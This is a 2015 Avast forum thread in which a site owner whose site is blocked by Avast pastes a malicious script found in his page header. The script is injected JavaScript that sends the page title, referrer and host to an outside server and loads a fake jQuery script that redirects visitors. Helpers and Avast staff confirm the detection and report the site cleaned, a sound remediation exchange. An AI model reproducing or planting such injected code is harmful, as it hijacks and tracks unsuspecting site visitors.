Author Topic: i can not ente rto my website  (Read 2829 times)

0 Members and 1 Guest are viewing this topic.

REDACTED

  • Guest
i can not ente rto my website
« on: December 09, 2015, 10:37:14 AM »
I have tried to enter my website

Avast blocked my website and i couldnt enter.

i checked some and i couldnt see any problem.

What can be the problem?

mywebsite is ermenek.com


ı have checked on differetn websites.
these were showing safe.
https://safeweb.norton.com/report/show?url=www.ermenek.com
http://scanurl.net/?u=www.ermenek.com&uesb=Check+This+URL#results


but only
https://sitecheck.sucuri.net/results/www.ermenek.com
shows has problem and i couldt find that file.

here also same.
http://quttera.com/detailed_report/www.ermenek.com
ı go the mentioned file  even js file. i cn not see anything.
« Last Edit: December 09, 2015, 10:56:22 AM by salimbasar »


Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37509
  • Not a avast user

REDACTED

  • Guest
Re: i can not ente rto my website
« Reply #3 on: December 09, 2015, 11:33:18 AM »
I found this on my header

<script>var a='';  _proxy_jslib_handle(null, 'setTimeout', setTimeout, 1, 0)(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent( _proxy_jslib_handle(document, 'referrer', '', 0, 0)); var host = encodeURIComponent( _proxy_jslib_handle( _proxy_jslib_handle(window, 'location', '', 0, 0), 'host', '', 0, 0)); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" +  _proxy_jslib_handle(null, 'host', host, 0, 0); var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){ _proxy_jslib_handle(document, 'write', '', 1, 0)('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');} ;
_proxy_jslib_flush_write_buffers() ;</script>

removing this solve sthe problem or not?

Offline Eddy

  • Avast Evangelist
  • Maybe Bot
  • ***
  • Posts: 31080
  • Watching (over?) you
    • Malware removal, Biljart and other things.
Re: i can not ente rto my website
« Reply #4 on: December 09, 2015, 11:34:24 AM »
That is just one file Pondus. ;)

Salimbarsar,
if you can't fixed the issues yourself, hire someone to do it for you.

Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37509
  • Not a avast user
Re: i can not ente rto my website
« Reply #5 on: December 09, 2015, 11:45:54 AM »
Quote
if you can't fixed the issues yourself, hire someone to do it for you.
Sucuri will do it for you, but it is not free  https://sucuri.net/


Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37509
  • Not a avast user
Re: i can not ente rto my website
« Reply #6 on: December 09, 2015, 05:40:05 PM »
Message from F-Secure lab

===================================================================================================
Thank you for your submission.
The site previously infected with a javascript that will inject a fake jquery to redirect user. However, the site is now cleaned. No detection needed. Thank you.
====================================================================================================


Offline HonzaZ

  • Avast team
  • Advanced Poster
  • *
  • Posts: 1038
Re: i can not ente rto my website
« Reply #7 on: December 09, 2015, 06:21:02 PM »
Yup, JS:Infection-A detects precisely what salimbasar pasted. Now Avast doesn't complain, so most likely the infection is not there any more (or I am not "lucky" enough to invoke it).
« Last Edit: December 09, 2015, 06:31:06 PM by HonzaZ »

Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37509
  • Not a avast user
Re: i can not ente rto my website
« Reply #8 on: December 09, 2015, 06:29:11 PM »
Detection is now gone from Sucuri also  https://sitecheck.sucuri.net/results/www.ermenek.com